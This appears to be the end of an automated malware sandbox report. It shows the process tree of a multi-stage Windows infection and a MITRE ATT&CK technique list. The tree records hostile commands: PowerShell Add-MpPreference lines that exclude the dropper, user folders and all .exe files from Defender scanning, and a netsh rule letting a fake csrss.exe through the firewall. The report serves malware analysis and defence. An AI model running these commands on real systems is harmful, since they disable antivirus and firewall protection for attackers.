        "C:\Users\Admin\Pictures\eMoyJstOzij5Aj0qH2qga5fF.exe"
        5⤵
        
        PID:3868
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        
        PID:440
      - C:\Users\Admin\Pictures\eMoyJstOzij5Aj0qH2qga5fF.exe
        
        "C:\Users\Admin\Pictures\eMoyJstOzij5Aj0qH2qga5fF.exe"
        6⤵
        
        PID:848
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        7⤵
        
        PID:2268
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
      4⤵
      PID:1212
- C:\Users\Admin\AppData\Local\Temp\1000152001\jok.exe
  "C:\Users\Admin\AppData\Local\Temp\1000152001\jok.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:2336
- C:\Windows\SysWOW64\rundll32.exe
  "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\c1ec479e5342a2\clip64.dll, Main
  2⤵
  - Blocklisted process makes network request
  - Loads dropped DLL
  PID:1056
- C:\Users\Admin\AppData\Local\Temp\1000153001\swiiii.exe
  "C:\Users\Admin\AppData\Local\Temp\1000153001\swiiii.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:3704
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:4820
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:3024
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    PID:2792
- C:\Users\Admin\AppData\Local\Temp\1000181001\file300un.exe
  "C:\Users\Admin\AppData\Local\Temp\1000181001\file300un.exe"
  2⤵
  - UAC bypass
  - Windows security bypass
  - Executes dropped EXE
  - Windows security modification
  - Checks whether UAC is enabled
  - Suspicious use of SetThreadContext
  - Suspicious use of AdjustPrivilegeToken
  - System policy modification
  PID:1964
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\1000181001\file300un.exe" -Force
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:468
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4904
  - - C:\Users\Admin\Pictures\LLWWgkPrs0rInpg9Pdzgm7kP.exe
      "C:\Users\Admin\Pictures\LLWWgkPrs0rInpg9Pdzgm7kP.exe"
      4⤵
      Executes dropped EXE
      PID:4332
    - - C:\Users\Admin\AppData\Local\Temp\u3cc.0.exe
        
        "C:\Users\Admin\AppData\Local\Temp\u3cc.0.exe"
        5⤵
        Executes dropped EXE
        
        PID:868
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 868 -s 1380
        6⤵
        Program crash
        
        PID:2040
  - - C:\Users\Admin\Pictures\SmG1u9sWJQqpMjXmOR4NVlya.exe
      "C:\Users\Admin\Pictures\SmG1u9sWJQqpMjXmOR4NVlya.exe"
      4⤵
      Executes dropped EXE
      PID:5068
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1432
    - - C:\Users\Admin\Pictures\SmG1u9sWJQqpMjXmOR4NVlya.exe
        
        "C:\Users\Admin\Pictures\SmG1u9sWJQqpMjXmOR4NVlya.exe"
        5⤵
        
        PID:1084
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        
        PID:4612
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        6⤵
        
        PID:2720
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        7⤵
        Modifies Windows Firewall
        
        PID:4444
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        
        PID:4636
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        
        PID:4072
  - - C:\Users\Admin\Pictures\xfYaMFzhPJjwuhmNLTrslwFq.exe
      "C:\Users\Admin\Pictures\xfYaMFzhPJjwuhmNLTrslwFq.exe"
      4⤵
      Executes dropped EXE
      PID:2376
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4208
    - - C:\Users\Admin\Pictures\xfYaMFzhPJjwuhmNLTrslwFq.exe
        
        "C:\Users\Admin\Pictures\xfYaMFzhPJjwuhmNLTrslwFq.exe"
        5⤵
        
        PID:128
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        
        PID:1560
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        6⤵
        
        PID:1064
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        7⤵
        Modifies Windows Firewall
        
        PID:3564
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        
        PID:3396
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        
        PID:1772
  - - C:\Users\Admin\Pictures\vro4SNWqw23P9E6JhcZ2fxo4.exe
      "C:\Users\Admin\Pictures\vro4SNWqw23P9E6JhcZ2fxo4.exe"
      4⤵
      PID:792
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
    3⤵
    PID:1832
- C:\Users\Admin\AppData\Local\Temp\1000193001\dirtquire.exe
  "C:\Users\Admin\AppData\Local\Temp\1000193001\dirtquire.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  PID:3424
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3316
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Start-Process 'C:\Users\Admin\AppData\Roaming\27R3BNXGI2.exe'"
      4⤵
      PID:4208

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2396 -ip 2396
1⤵
PID:128

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 2732 -ip 2732
1⤵
PID:4332

C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe
C:\Users\Admin\AppData\Local\Temp\1000150001\NewB.exe
1⤵
PID:4548

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:4756

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:2500

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 868 -ip 868
1⤵
PID:1072

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 2100 -ip 2100
1⤵
PID:4184

C:\ProgramData\wikombernizc\reakuqnanrkn.exe
C:\ProgramData\wikombernizc\reakuqnanrkn.exe
1⤵
PID:1912
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  PID:4812

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

Modify Registry

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Virtualization/Sandbox Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Credentials in Registry

T1552.002

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

Virtualization/Sandbox Evasion